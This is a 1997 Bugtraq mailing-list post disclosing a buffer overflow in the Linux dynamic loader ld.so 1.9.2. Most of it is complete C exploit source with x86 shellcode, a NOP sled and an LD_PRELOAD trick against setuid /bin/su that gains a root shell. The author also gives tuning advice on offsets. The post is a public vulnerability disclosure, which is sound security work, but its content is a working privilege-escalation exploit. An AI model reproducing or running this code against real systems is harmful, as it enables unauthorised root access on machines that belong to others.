Bugtraq mailing list archives
Linux ld.so exploit
From: mcguirk () INDIRECT COM (Dan McGuirk)
Date: Sat, 19 Jul 1997 17:28:05 -0700
Here is an exploit for the Linux ld.so buffer overflow recently announced on this list. It only works for ld.so 1.9.2, not 1.7.14. The overflow doesn't seem to be exploitable by using a long filename, because the error messages that get printed are of the form %s: can't load library '%s'\n In _dl_fdprintf, the format string is iterated through by incrementing parameter 'char *fmt', which is located on the stack only four bytes above the return address you're trying to overwrite. So if you try to overflow the buffer by using the first %s, the ": can't load library" part winds up overwriting 'fmt', and then _dl_fdprintf goes crazy and segfaults before it can return with the phony return address. So I don't think you can do anything worse than cause a crash by creating a long argv0. But you can still exploit the overflow by putting the shellcode string in LD_PRELOAD. 1.7.14 ignores LD_PRELOAD for setuid executables, but 1.9.2 doesn't. It does require that the LD_PRELOAD string have no slashes in it, so you have to link /bin/sh into the current directory. The patch that was posted doesn't defeat this, since it's not argv0 that's causing the overflow. Anyway, here's the exploit. You may have to adjust the offset, but the buffer size should be correct. --------------- /* * buffer overflow exploit for ld-linux.so.1.9.2 * by Dan McGuirk <mcguirk () indirect com> * based on Aleph One's "smashing the stack" code */ #include <stdlib.h> #define DEFAULT_OFFSET 3300 #define DEFAULT_BUFFER_SIZE 1013 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff_bin_sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("sp is 0x%x\n", get_sp()); addr = get_sp() - offset; /* a valid addr is addr = 0xbfffeba8; here */ printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff, "EGG=", 4); putenv(buff); system("ln -sf /bin/sh _bin_sh"); system("ln -sf /bin/su aa"); system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'"); system("rm -f _bin_sh"); system("rm -f aa"); }
Current thread:
- Linux ld.so exploit Dan McGuirk (Jul 19)